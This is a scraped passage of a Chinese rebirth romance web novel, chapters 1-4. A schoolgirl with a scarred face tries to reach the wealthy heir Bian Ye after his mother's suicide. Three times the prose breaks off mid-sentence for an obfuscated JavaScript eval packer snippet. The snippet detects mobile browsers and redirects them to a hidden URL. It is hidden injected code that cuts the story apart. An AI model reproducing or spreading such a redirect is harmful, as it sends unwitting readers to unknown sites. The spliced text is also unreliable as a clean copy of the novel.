《暗藏》 1. 第 1 章 九月下旬,闷热了一周的宿城终于有阴沉下来的迹象,凉风穿过树叶间隙,吹拂起姜栀额上轻柔的刘海。少女身躯单薄,眼底满是悲伤。 她站在气派轩昂的金霆会所门前,焦急地看着守在门口的工作人员,哽咽道:“求你们让我进去行吗,两分钟我就出来,我找边野真的有很重要的事。” 金霆是高档会所,这儿的服务人员就没有不认识边野的。 宿城三大世家之一的边家独子,从小含着金汤匙出生。医药发家至今,历经三代,说是富可敌国也不为过。 虽然常年混迹在这样纸醉金迷的地方,但消费高出手大方,堪比活财神。 “小姑娘,真不是我不让你进去,我们这都是会员制,放你进去我要被扣工资的。”接待员一脸为难。 姜栀急出哭腔,“那您帮我给他打个电话行不行?” 她不知道自己为什么高楼坠落后没死,还重生回高二这年,但她记得清楚,收养她的黎姨会在今天自杀。 火急火燎地从学校赶回去,还是晚了一步。 那样温柔端庄的女人就那么安静地躺在床上,双眼涣散。鲜红的血顺着割裂的手腕滴下来,无声无息。 她慌乱无措地去打120,泣不成声。 可黎姨却反过来安慰她,平静得像是一阵风,“知知别哭,我很开心,这一天我等了很久了。” 知知是她的小名,黎姨总说叫小名才亲切,像一家人,可一家人少了谁都不圆满。 姜栀摇头,眼泪啪嗒啪嗒往下掉。为什么明明重生了,她还是没能改变黎姨自杀这件事。 接待员不放她进去,姜栀只能在门口朝着楼上喊:“边野!” 那会儿还在家里时,她就用座机和黎姨的手机给边野打过,无一例外不被接通。 可这是最后一面,他应该见的。 上一世,他就没有见到,还因此跟边叔叔大吵一架,闹得翻天覆地,到了近乎老死不相往来的地步。 后来她离开了宿城,只听闻他和边家断绝了关系,过得不算好。 如果这一次能见黎姨一面,是不是有可能改变他前世的轨迹? 这声音不算响亮,金霆会所隔音又好,只是很巧,正好叫下楼去前台拿东西的范静宜听见了。 她是翘了课跟着边野这群人一起来玩的。 等待的间隙里,范静宜顺势看了眼。 少女一身圣嘉私立高中的校服,不算高,身形纤瘦,模样乖巧,散发着好学生的味道。脸上的白色口罩鲜明惹眼,微乱的刘海下,是一双琥珀色瞳仁,清澈无辜。 短裙及膝,露出白皙又匀称的双腿,连她一个女生都忍不住去看两眼。 范静宜眼底闪过嫉色,转而轻蔑一笑。 她当是谁呢,原来是圣嘉尽人皆知、又聋又丑的残废。 半年前,这残废刚转来圣嘉私立的时候,有人恶作剧扯下过她的口罩,口罩下的脸伤疤狰狞,丑得吓人,一天之内就传遍了圣嘉。 没了好看的脸,又要靠助听器生活,就算身材再好也没用,还是只有被耻笑的份。 虽然和她同在圣嘉读书,但她所在的东区都是富家子弟,而另一半的西区接收的都是穷乡僻壤里出来的,要什么没什么,也就成绩拿得出手了。 “小姑娘,你要再吵吵闹闹我可叫保安了。”接待员不耐烦地伸手去推她。 姜栀没防备,一个踉跄差点跌下台阶。 “对一个女孩子这么凶做什么?” 姜栀神色无力,抬头看见个跟她年纪相仿的女生走过来。穿着一字肩短裙,戴着贝雷帽,踩着小高跟,打扮得很时尚。 “我认识,带她进去没问题吧?”范静宜朝着接待员抬了抬下巴。 接待员一脸尬笑地点头,他这会儿哪还敢阻拦,来这儿消费的都是有点家底的,他哪儿得罪得起。 跟在她后面进去,姜栀松了口气,真诚道了句谢。 范静宜轻蔑一笑,“顺手的事儿。毕竟作为边野的女朋友,我也不能看着你这么可怜地被拦在外面,找边野的女孩儿多如牛毛,我早就习惯了。” 想飞上枝头变凤凰,也不撒泡尿照照自己。不过送上门的乐子哪有不看的道理。 姜栀慢她一步,只能看到她侧脸,有高高在上的傲气。 她轻皱了下眉,觉得这女生似乎对她有莫名的敌意。 她也听说过边野很受女生欢迎,可跟她有什么关系呢。边野在圣嘉的东区高二班,她在西区,两个人在学校里连面都没见过。 如果不是爸妈死在那场车祸里,黎姨出现替她安葬了爸妈,把她带进了边家,她连边野是谁都不知道。 贵宾包厢奢华宽敞,吃喝玩乐一应俱全,不少富家子弟陪着边野聚在这儿,场子热闹得很。 那些人穿得很新潮,她一身校服格格不入。 姜栀闻不惯这里的烟味,轻皱了下眉。 目光逡巡间,她看见坐在沙发角里的少年。 十八岁的年纪却略显成熟,轮廓锋锐,眉眼野性恣睢。浑身像没骨头似的懒洋洋靠着,修长的指间夹着根猩红的烟。 旁边围了好几个少男少女,满脸奉承。他一脸漫不经心,偶尔应两声。有人敬酒,他就接着。 姜栀愣在原地,她还是第一次见这样的边野。 记忆里,边野不喜欢她,自打黎姨接她回边家,他就一直把她当空气看,也没个好脸色。 想起进了医院也救不回来的黎姨,她心里一阵绞痛。 如果不是黎姨临终前求她好好拉他一把,别眼睁睁看着他堕落地走上不归路,她依旧会像前世那样,离他远远的,不来招惹他。 “野哥,有人找!” 包厢里热闹,范静宜故意拔高了声音,这一嗓子成功吸引了所有人的注意。 “这不是那个丑八怪吗?她来干什么?” “丑八怪也是人嘛,还不允许丑八怪追求爱情了?” “哈哈哈……你也太损了。” 姜栀像没听见,她不在意这些。 这张脸是因为车祸伤成这样,不是她的错。死过一回的人,没有什么比活着更重要。 范静宜走过去,强行把边野身边的女孩儿挤开,宣示主权似的去挽边野的手,“野哥,她在楼下被拦着上不来呢,我看她一直喊你名字,就把人——” 没等她说完,边野就抽回了自己的手,扯了片湿巾仔仔细细地擦,藏不住地嫌弃,“边儿去。” 范静宜脸上的笑僵住,一时间手都不知道往哪放。 想到刚刚还在姜栀面前自封边野的女朋友,她脸上一阵火烧,可她惹不起边野,也顾不得姜栀会怎么看她,往旁边挪出了一人宽的距离。 再怎么样,她也比这个丑八怪好看,这个女朋友的位置她一定会拿下。 她不在意边野跟家里闹翻,也不在意他爸是不是真的出轨了,只要他还跟边家有一天关系,她就要抓住这棵大树,水涨船高。 “边野, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236974|166147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你跟我回去一趟吧。” 姜栀眼里透出急切。 室内旖旎的光线下,慵懒不羁的少年掐了手中的烟,冷恹恹地掀起眼皮,“哪儿来的滚回哪儿去。” 他五官本就鲜明锐利,不笑的时候掺着攻击性。 她想告诉他黎姨的情况,可边上人都在看热闹。边野很早就警告过她,别在外人面前跟他扯上关系。 她没办法,只能继续坚持,“你不跟我走,我就在这儿一直等你。” 边野懒得理她,倒了杯酒,声音懒洋洋的,“都愣着干什么,该玩玩该喝喝。” 边家实力毋庸置疑,这些富家子弟本就存着巴结的心思,他都发话了,场子很快又热闹起来。 姜栀像个透明人,被遗忘在这里。 许久没人理她,她只好硬着头皮走向他。 离得近,姜栀闻到清冽的酒气。在热闹的场子里她将声音压得很低,只够他们俩听见,“是黎姨……” 边野周身的气场冷下来,范静宜有点害怕,不动声色地往边上挪了挪。 开玩笑,边野发怒可是要见血的,谁敢靠近。 半晌,他讽刺地嗤笑,“这招玩不腻是吧?” 他.妈黎女士每次一不如意就要闹出点动静,从自残到自杀,都成了医院常客,到底要闹多少次? 姜栀心里酸酸的,声音低哑,“去见一面吧。”以后再也见不到了。 她被黎姨收养回边家的时候,就发现母子俩之间像是有什么深仇大恨,边叔叔不常回来,边野回来的就更少,一家人像一盘散沙。 可黎姨自杀寻死的时候,那样安静温柔,还嘱咐她以后要好好生活,不要像她这样蹉跎一生。想要的得不到,想守护的也没守住。 黎姨是个好人,不该这样孤零零地走。 边野眉头沉下来,熟悉的人都知道,他现在不爽极了。 又一杯酒下肚,他把玻璃杯往桌上一搁,发出清脆的声响,周围人面面相觑,没人敢吭声。 “结束记我账上。”他拿起车钥匙起身,大步流星地走出去,姜栀赶忙小跑着跟上。 范静宜看着一前一后出去的两个身影,脸色逐渐难看。 明明是想看这个丑八怪出丑的,可她居然有点本事,把边野从自己身边带走了。 有人好奇地探头过来问:“野哥什么时候和这丑八怪认识的,看样子挺熟啊。” 范静宜听了冒火,磨着后槽牙,“我怎么知道!” 出了金霆,外面狂风大作,树叶被吹得哗哗作响,乌云密布的天转眼就下起雨来。 一滴一滴往下砸,越来越密。 代驾的服务生接了钥匙去开车,边野站在门口问她,脸色很沉,“哪个医院?” 姜栀乖乖说了。 车很快开过来,边野一头扎了进去。 几秒钟就消失在姜栀的视线里。 暴雨倾盆,她被困在这里走出不去。思索再三,姜栀准备厚着脸皮回去问问接待员能不能借她一把伞。 雨幕中,车轮压过水渍的疾驰声突然从远处传来,响亮得她难以忽略。 片刻,边野的红色跑车刹停在门口。 姜栀忍不住紧张,他该不会是临时反悔了吧? 车窗垂直降下来,露出边野那张冷厌没好气的脸,“上车。” 她愣了下,怀疑自己听错了,站在原地没敢动。 下一秒,视线里边野眉头皱起,耐性告罄,“还要老子请你?” 2. 第 2 章 医院消毒水刺鼻,傍晚这个点依旧还有很多人。 抢救的医生认识边野,沉痛地劝慰:“边少节哀。” 边野眼皮上的神经跳了下,握着冰凉的把手推门走进去。 病房里灯光炽亮,黎女士闭着眼躺在病床上,身形单薄,无声无息得好像一折就碎。 她是戏曲家出身,就算身上插着管子,也还是很有仪态,似乎只是睡着了,在做一个美梦。 边野见过黎女士无数次,倒是第一次见她这么安静,安静到他有点不习惯。 他站在病床边,看她割腕的地方,已经被纱布包扎起来,露在外面的手苍白薄弱。 外面天阴沉沉的,暴雨打在玻璃窗上,四面八方地蜿蜒出裂痕。 病房里静得针落可闻。 也不知道站了多久,像有一个世纪那么长,他才从石塑般的状态里出来。 “这次总算成功了,恭喜啊黎女士。”边野看着她病态发白的脸,扯了扯嘴角,轻散得像是看了场比赛,只是这场比赛赢得真他.妈艰难啊。 暴雨带着湿气裹挟喉鼻,他的祝福在病房里显得很空荡,“下辈子运气好点儿,嫁个自己喜欢的,别搞得这么惨了。” 许久的沉寂后,边野没什么表情地走了出去。 似乎只是看了个无关紧要的人。 守在外面的护士暗暗惊讶,亲妈没了居然这么冷静,连眼睛都不带红的,看来传闻边少跟父母不和是真的……可怜边夫人把儿子养这么大,真是白眼狼。 但她也不敢多看,边野一走,她就进去了。 等在长廊上的姜栀在边野进去时已经哭过一回,一双眼揉碎了的红,长睫上残留着湿润的泪。 孤零零地站在那儿。 看见边野走出来,没有要找她的意思,姜栀赶紧跟上去。 少年身形冷阔,步子迈得大,很快就把人甩在了后面,直到小跑声渐近,他忽地停下。 太过突然,以至于穿.插.在人群中的姜栀一个没注意,“噌”一下撞到他背上。 来不及捂头,她轻喘着气,眼睛雾蒙蒙的,“对、对不起。” “别跟着我,你该回哪儿回哪儿。” 边野五官天生带着攻击性,冷脸的时候像是要吃人,挺吓人的。 姜栀没敢反驳,揉了揉撞疼的脑袋,等他走了又默默跟上。 外面暴雨如注,不少人没带伞,就站在医院大厅门口躲雨。边野个子高又一身黑,往那儿一站没什么好脸色,像个煞神。边上路人怪异地瞥他两眼,往后避了避。 他像是没看见,摸了摸口袋。空的,没有烟,积压的情绪像野火般冒出来。 有人抱怨这雨下得太大太急,叽叽喳喳个不停,边野耐心告罄,利索地脱了外套就要走。 衣角忽然一重。 他拧眉回头,姜栀迅速缩回了手。 “天气预报说这是阵雨,很快就会停的,你再等等吧。”要是淋雨生了病,黎姨泉下有知,也会难过的。 姜栀声音很柔和,像是怕惊到他。 边野冷嗤一声,“真把自己当根葱?” “再说一遍,别跟着我。”他眼瞳很黑,泛着戾气,“再跟,老子把你扔出去。” 姜栀捏紧手心,压着心底的害怕,很郑重地转达:“黎姨希望你改邪归正,我答应了帮她看着你的。” 声音轻而坚毅,但很快散在暴雨声里。 改邪归正? 边野讥讽一笑,丝毫没把她的话当回事儿,眉眼野性不羁,“我同意了吗?” 她不知道该怎么回答,黎姨对她的恩情她这辈子都没法报答。上辈子她为了给黎姨减少麻烦选择了住校,等知道黎姨自杀已经是一周后,她连黎姨最后一面都没见上。 这一次她赶上了,可还是没能阻止,但好在她能帮上黎姨点什么。 黎姨从未开口求过她,就这一件,哪怕被打她也不能退缩。 姜栀看着他,琥珀色瞳仁里,比她高一个头的身影像只恶犬朝她逼近,她紧张地能听见自己的心跳声。 边野满目戾气,声音冰冷,“怕就离老子远点儿。” 凶巴巴的,吓得姜栀连呼吸都放轻了。 她一动不动地站在那儿,睁着眼睛许久没眨。等回过神来时,那道身影已经冲进了暴雨里。 没事的,他一向讨厌她,能轻易听她的话才奇怪。 - 姜栀赶回学校后就申请了走读,住校的规矩太多,她没法经常看着边野。 回到边家时,天早已经黑透了。 姜栀进门时看见玄关边的跑车钥匙,有些诧异,他回来了? 正疑惑着,楼上传来脚步声。姜栀抬头,看见管家正从楼上下来,五十多岁的脸上又增添了皱纹,手里端着碗热腾腾的面。 她有种恍如隔世的感觉。 管叔是边家的管家,据黎姨说是在她嫁过来的那天就一起跟着来了边家,这么多年一直帮她管着边家大大小小的杂事,井井有条,为人忠厚又可靠。 说是管家,更像亲人。 她作为一个外来者,这个家里除了黎姨,管叔是第二个对她好的人。 前世她因为住校很少回来,黎姨走后就更不常回边家,等她准备大学放假回来看看管叔,却听到他因为摔了一跤,伤到骨头,没多久就过世的消息。 她很难形容那一刻的感觉,好像所有对她好的人都在慢慢离开。 鼻子发酸,姜栀忍了忍,总算没当面掉眼泪。 黎姨已经不在了,她不能在管叔面前哭,会惹他伤心的。 看见她出现在门口,管叔有点儿惊讶,“知知怎么今天就回来了?不用上课吗?” 姜栀摇摇头,背着书包往客厅走,“我申请走读了,以后都住家里。” “住家里好,住家里好啊。”管叔笑起来面目慈祥,很是亲切,只是眼底有些疲态,“楼上的房间每天都有打扫,夫人早就盼着你回来住……” 管叔话说一半突然噤了声,泛浊的眼眶红了红,笑着问:“知知还没吃吧,想吃什么叔给你做。” 姜栀很懂事地没有提黎姨,想起那把车钥匙,她指了指楼上,“边野回来了?” 管叔点点头,示意了手里的面,“一回来就把自己关在屋里,不吃不喝的,哎……” 边野这人脾气不好还倔,他不愿干的事儿就是给他剁碎了他也不干。 姜栀把书包放下,走过去端管叔手里的面,“不用给我做了,我就吃这个吧。”边野不吃,倒了也浪费。 姜栀吃饭向来细嚼慢咽,很斯文。她咽下嘴里的面,问管叔:“边叔叔他知道吗?” 管叔明白她问的什么,叹了口气,“电话没打通,上次就说要出差,应该还没回来。等晚点我再联系联系边总。” 他没敢说实话,其实这通电话是打通了的,但不是边总接的,是个女人,说边总在洗澡,有事她来转达。他对声音的记忆力一向很好,这声音他在家里听过一回,只是那时候他在院子里干活,和这声音面对面的是夫人。 他不敢揣测,可又很难不多想。然而这些话是不能告诉姜栀的。 姜栀没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236975|166147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再说话,不吭声地吃完了剩下的面。 回到房里,她坐在柔软粉.嫩的床上发了会儿呆。这屋子布置得很少女,粉黄交错的壁纸,挂了甜美的油画,透明壁橱里摆着各种可爱的娃娃,奶油白的桌上放置着小巧的手办。 这些都是黎姨摆弄的。 她还记得黎姨领她回家那天,一脸温柔地问她喜不喜欢这间房。怕她晚上做噩梦,就陪着她睡,给她找来各种新奇的东西哄她开心。 会温柔地摸着她脑袋说:“我们知知性格这么可爱,又这么好看,等长大还有更广阔的天地能去看,哪怕像我这样被家里用一点好处就强嫁出去的也没关系。人这一辈子,只要活着,就有希望。” 她在慢慢走出来,可黎姨却永远离开了。 眼睛酸得厉害,姜栀伸手揉了揉,呼出一口气,拿过书包。 下周就要月考,她得帮边野勾画知识点。 前世她没关注过边野的学习,也不知道他学了多少,只知道他不爱学习,成绩也很差。 好在他学的也是文科,她整理起来不棘手,只要分类难易就好。 时间紧迫,等整理完已经十二点多了。困意爬上来,她揉了揉酸胀的眼睛,订成册后去找边野。 如果这个点他睡了,她就把资料放在门口,明天起来也能看见。 边野的房间在另一头,跟她隔得很开。这个点家里安静如鸡,姜栀特意放轻了脚步。走近了,她看到门缝里漏出来的光,想放下就走的念头有点迟疑。 当面给的话,她还能叮嘱他一些注意事项,可他今天心情很不好…… “你来干什么?” 正纠结着,背后突如其来的一声质问,惊了她一跳。 她下意识回头。 浴室门不知道什么时候开了,里面水汽氤氲,边野一米八几的个头站在门口,浴巾松垮地系在腰间,发梢湿润,还在滴水。 一双漆黑的眼冷淡无温,脸色恹恹。 姜栀感觉身上凉飕飕的,紧张地错开眼,视线所及的地方只有整理成册的知识点。 “下周要月考,这是这次月考的重点知识,我都帮你圈出来了,如果有看不懂的——” 她还没说完,手里的资料册就被抽走了。 边野轻描淡写地扫了眼,上面用不同颜色的笔做了标注,字迹娟秀清晰,看得出来下了功夫,但跟他有什么关系? “找我就因为这个?”他挑眉收回视线。 姜栀想起他在医院那吃人的样子,规规矩矩地“嗯”了一声。 他轻嗤,像丢垃圾似的把资料册随意扔出去,浑身透着股张狂的野劲儿,“真把自己当我妈了?” 她脑袋一瞬空白。 边野逼近她,眉眼下压,露出狠色,“我不管你是真答应还是假答应,或者压根就没这回事,都跟老子无关。” 她眼睫颤了下,直愣愣的,说不出反驳的话。 “不用在我身上白费心思,你已经赢了不是吗?”边野神色嘲讽,“现在她走了,你想在这儿生根发芽到烂都没人管你。” 姜栀站在原地,浑身僵硬。 身后门开了又关,她捏着手心缓了会儿,慢吞吞捡起地上的资料册,沉默着往回走。 她从来没想过边野厌恶她是因为这个。 边家是家大业大,但她没有半点心思,她只想好好读完高中,考上大学后挣钱养活自己。 前世她没贪图过边家,今生也不会。好不容易重生回来,她只想平平安安过完这一生,不要像上辈子那样,在大二就死在那个畜生手里。 3. 第 3 章 安置黎女士的这几天,边家总是闷沉沉的。除了医院那晚,边野没有再回去过,一直到黎女士下葬,他都没露面。 可笑的是,他爸老边总竟然给他打了数十个电话。 黎女士活着的时候不着家,死了倒是知道做戏做全套,不愧是宿城闻名的慈善家。 他这几天四处浪,局组腻了就拉着几个狐朋狗友打球。 一个标准的三分投篮后,宋言旭忍不住哀嚎,“不是吧野哥,你要不要把人往死里打啊,抢又抢不过你,投又投不过你,你干脆把我当球打得了。” “少废话。” 边野随意地抓着衣角擦了头上的汗,额发早被打湿,浑不在意,“再来。” 宋言旭心里叫苦不迭,自打黎姨去世,边野这玩的劲儿就一天比一天狠,像是不把自己搞废不罢休。 他倒是精力旺盛,可哥几个这几天感觉自己都快散架了。 但边野发话,谁敢拒绝。可怜了自己一秒钟,宋言旭刚运了个球,那熟悉的电话铃又来了,他忍不住咋舌。 都好几天没打过来了,怎么又开始了。 看到边野瞬间冷下来的脸色,他欲言又止。 边野没打算管,继续打球。但铃声响个不停,他烦躁地准备关机,却发现打来的不是老边总,是奶奶。 把球随手扔给宋言旭,他走到台阶边坐下,接通电话后顺了瓶矿泉水。 “奶奶。”他支着腿,姿态懒散。 对面传来慈祥的声音:“小野啊,你都好久没来老宅看看奶奶了,奶奶想你了,就给你打个电话。” 边野灌了几口矿泉水,匀了会儿气,嘲讽道:“是他让您给我打的?” 老太太当下就否认,“我是他老娘,他还能指挥得动我吗?小野,奶奶想你也有错吗,我这一把老骨头,也不知道还能活多久哦……” 老太太在电话唉声叹气,他眉头轻皱,“您别乱说。” “我今天过来陪您吃个饭。” 老太太很高兴,“那可说好了,我让佩姨多做点你喜欢吃的。你把知知那丫头也一道带来吧,人多热闹,那孩子我也喜欢。” 边野不乐意,“您要见她,下次单独让她过去,我跟她不熟。” 老太太一秒入戏,悲春伤秋,“哎,人老了就是没用,连个想见的人也见不着,还不如早点死了……” 边野不愿听这些,拿她没办法,沉着声音答应,“我带,成了吧。” “我就知道我大孙子心疼我,那我就在家里等你们。”老太太欣慰地挂了电话。 边野高兴不起来,他前几天才把人说了一顿,没给过一个好脸色,现在让他主动去找她,这算什么? 显得他有病似的。 思索了会儿,边野打了个家里的座机。 接电话的是管叔,他没什么耐心,简单明了地给管叔说明了情况,最后又强调了一遍,“怎么去随便她,让她不要迟到。” 挂电话的前一秒,管叔迅速婉拒,“老太太的意思还是您去吧,我一会儿还要出趟门,家里没人能送她,她要是过不去,老太太见不着,我不好交代啊。” “这事儿还是少爷您来吧。” 说完电话就被掐了,边野耳边一阵忙音。 他眉头皱得更深,握着手机有些烦躁。 宋言旭见他干坐着,擦了擦汗走过来,“怎么这副表情,谁又惹咱野哥不高兴了?” 虽然没听见是谁打来的,但他直觉不会是老边总。 边野看他一眼,将场子散了,“今天不打了。” 宋言旭顿时感觉解放了,浑身都舒畅起来,“那咱喝酒去?” “没空。”他站起来,拿着外套率先往前走,想了想问:“西区几点放学?” 宋言旭被问得一懵,“应该跟咱们一样吧,怎么突然问起这个了?” 边野心烦,懒得解释,随口敷衍过去。 - 今天是周五,住宿走读的都会回家。一放学,西区的学生们就跟放飞的风筝似的,一窝蜂涌出校门。 姜栀虽然住在边家,但从来都是坐公交往返。一来是边野不想让她扯上关系,二来她也不愿意麻烦边家,更不想惹出什么是非争议。 收拾好书包,她和同桌池念一起走。 这几天碰不到边野,也没地方找,姜栀干脆把劝学这事儿放在了一边,也不为难自己。 “知知,我们等会儿一起去校门口那家糖水铺吧,我听说上了新品,好想尝尝!”池念是个大馋丫头,小肉脸圆鼓鼓的,长相很有福气。 姜栀温柔一笑,“好呀。” 她刚被黎姨转来这里的时候,班里很多人因为她狰狞的脸而嫌弃她,不愿意跟她做接触,只有池念不计较,还对她很好。是她上辈子一生中为数不多的真心朋友。 “那我们吃完还可以去附近书店看看有没有好看的杂志,上次看的那个仙侠写得太好看了,就是还在连载……” 她说什么,姜栀就应什么,俩人都没注意到校门口停的红色跑车。 这跑车显眼又骚包,只要不是一心只读圣贤书的,都知道这是边野的车。 宋言旭坐在副驾驶上,就等着姜栀像其他人那样往这儿看两眼,结果人连一个眼神都没给。 要知道野哥刚刚停在这儿的时候,西区的那些女学生眼睛都看直了。 边野神色懒散地靠着驾驶座椅,低着头打游戏,一脸不在意。 宋言旭也没明白他为什么突然要找这小可怜,但野哥的话他向来听,眼看着人要走过了,他连喊了好几声,“妹妹!” 姜栀好奇地回头。 宋言旭激动得不行,“妹妹这儿!快来,野哥带你去兜风!” “乱说什么?”边野没好脸地从手机里抬头。 宋言旭笑眯眯的,“口误口误,别介意。”转头又去叫姜栀,“上车啊妹妹,等你半天了!” 池念不认识他,轻轻戳了戳姜栀,“知知,这人谁啊?”还打耳钉,看着就不学好,肯定不是什么好东西。 姜栀盯了他一会儿,总算想起来,上次去金霆找边野的时候,他身边就有个这样的面孔。 边野不可能无缘无故找她,她面露歉意地对池念说:“今天可能没法陪你去了,我下回再陪你好不好?” 池念迷惑又震惊,“你真认识他啊。” 她也不好解释太多,点点头,“你先回去吧,路上小心。” 等人走远了,姜栀才过去,一眼看见驾驶座上打游戏的边野,头都没抬,脸色淡淡,显然不像是自愿来找她。 她没多问,乖乖上了车。 宋言旭心里忍不住感叹,虽然这妹妹毁了容,耳朵也不好使,但他.妈的是真乖啊,整个人都干干净净的,让干嘛就干嘛,也不多话。 接到人,边野收了手机,也不管游戏还在进行,踩了油门开出去。 他开车速度快,姜栀坐在后面忍不住抓紧了拉环。 宋言旭闲不下来,回头问她,“妹妹,你叫什么名字?” 她因为过快的车速脸色微微发白,却还是礼貌地回答他,“姜栀。” 他念了两遍,笑呵呵地夸,“这名字真好听。你家住哪儿啊?” 姜栀虚虚笑了笑,瞄了眼边野。 从她这个角度只能看到他侧脸,轮廓锋锐,眉眼冷冷淡淡,看着就不好惹。 “我……就住附近。”她没撒过谎,这么一点似是而非的话就已经红了耳朵。 偏偏宋言旭看不出她的尴尬,继续追问:“附近哪儿啊,我不记得附近有平价小区,难道是我没听过的?” 姜栀有些窘迫地收紧了手,不知道该怎么圆。 “你查户口的?” 边野睨了宋言旭一眼,打断了他的话,“别打扰我开车。” 话到嘴边的宋言旭:“……” 车里安静下来,姜栀暗自松了口气。 等把宋言旭送走,车里就剩她和边野两个人。 她因为过快的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236976|166147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车速有点头晕,只能试图转移注意力,“我们要去哪?” 等红绿灯的间隙,边野看了眼中控后视镜。 姜栀坐得很乖,虽然戴着口罩,但依旧能看出来脸色发白,像是不太舒服。 绿灯亮起,他踩油门的力度轻了点,没再左右超车,“奶奶想见你。” 奶奶? 姜栀愣了下,她对边家这位老太太的印象并不深。 老太太常年住在老宅,她来边家见她的次数不超过一只手,听闻年轻时是个女强人,因而老太太虽然总是笑得慈祥,但身上依旧有着沉稳的气场,她不敢太过亲近。 和她不一样,老太太是边野心里最重要的人。 “哦。”她不知道说些什么,只好应着。 去往老宅的路上车速平缓,姜栀没再像之前那样不时地犯恶心。 状态好了不少。 开进老宅大门之前,她听到边野的叮嘱:“奶奶年纪大了,她说什么就顺着她。” 姜栀回过头看他,他单手打着方向盘,眉眼依旧没什么温度,好像跟她在一个空间里,就不会有别的情绪。 她自然不会乱说的,但…… “好。”姜栀有些紧张,不过还是一鼓作气说出来,“但我想跟你做交换。” 边野像是听到天方夜谭,觉得好笑,“凭什么觉得我会答应?” 她听出不屑和嚣张,也并没认为他一定会愿意,只是她想试试。 姜栀低垂着眼,声音轻柔,“有交换才有诚意。” 边野掀起眼皮看了眼中控后视镜里的少女,唇角随意一扯,“行啊,我就给你个机会。” 她没指望他会同意,愣了一下迅速抬眼看向他,一双眼亮晶晶的,“真的吗?” “别高兴得那么早。”他轻哼,嗓音嘲弄。 姜栀忍不住开心起来,只要他肯给机会,那就有缺口。 进了老宅,她远远就看见客厅门外站着的老太太。老太太一身墨绿中式服,脖上戴着串珍珠项链,面容精神矍铄。 上一次见是黎姨葬礼那天,老太太那时候也只是红着眼眶摸了摸她脑袋,什么也没说。 姜栀心里说不上来的唏嘘,也不知道老太太怎么会突然想见她。 下了车,她安静跟在边野后面。 “奶奶,几天不见这么好看,宿城想追您的人恐怕又要多绕一圈了。”边野姿态慵懒地走过去,笑得漫不经心。 “你这混小子,”老太太笑着拍他的手,嘴里嗔怪,眼睛里却都是宠溺,“说话也没个正行。” “这才多久,怎么瘦成这样了?”老太太皱着眉,心疼地摸他的脸。 边野挑眉,由着她逗趣儿,“嗯,再过几天,我在您眼里怕是就成竹竿了。” 老太太嗔他一眼,“就你贫。” 姜栀乖乖站在后面,有些感慨。 原来他也有这么鲜活的一面。 “知知啊,你站这么远做什么,快来让奶奶看看。”老太太一脸慈祥地朝她招手。 “奶奶好。”姜栀声音温温柔柔的,听得人心里发软。 “好孩子,晚上就和小野一起陪着奶奶好好吃顿饭,奶奶年纪大了,一个人孤单,你们这些小辈啊,没事儿就常过来看看奶奶。” 老太太看着她,浑浊的眼里满是慈爱,“要是受委屈了,就跟奶奶说,奶奶一定替你做主。” 姜栀受宠若惊,乖乖点头,“谢谢奶奶。” “一家人说什么谢不谢的,走,陪奶奶好好说说话。” 姜栀甜甜笑起来,眼睛像弯弯的月牙儿。 她刚准备进门,侧院传来“呜呜”的声音。 下一秒,一只大型狼狗热烈地从姜栀的视野盲区冲出来。 直奔向她。 姜栀反应慢了半拍,等回过神,狼狗已经朝她扑来。 “!” 她吓得惊叫出声,脑子还没反应过来,手已经迅速扯住了边野的衣服,往前一带,拿人当了挡箭牌。 4. 第 4 章 狼狗热烈地哈着气,根本刹不住,饶是边野反应快,还是被猛扑了一顿,差点没站稳。 “大黑,坐好!”边野淡着脸把狼狗推回去,高声下令。 大黑热情似火,尾巴摇得跟风火轮似的,乖乖坐回去,眼睛却不住地看后面的姜栀,吐着舌头哈气,蠢蠢欲动。 姜栀反应过来,迅速收回手,红着脸道歉:“对……对不起。” 老太太“哎哟”一声,赶紧叫来佩姨,“不是给它拴住了吗,怎么突然跑出来了?快,快给大黑牵回去,别给人吓着。” 佩姨也奇怪得很,“平时也不这么激动啊。”她伸手去拉大黑,结果大黑纹丝不动。 边野回头看姜栀,“你是不是带什么东西了?” 她本来就怕狗,惊魂未定,“没……没有啊。” 大黑又想扑她,被佩姨硬生生抓着,嘴边口水亮晶晶地往下掉。 “书包打开。” 大家都盯着她,姜栀有点尴尬,只好把拉链拉开,边扒拉边说:“里面都是书和笔盒用具之类的……” 她话还没说完,手忽然顿住了。 就在书本边缘,夹着个牛皮纸包着的东西。 姜栀愣了一下,突然想起来这是什么,白皙的脸颊一瞬蹿红。还没来得及等她拿出来,一只遒劲有力的手掌已经越过她的视线,精准拿了出来。 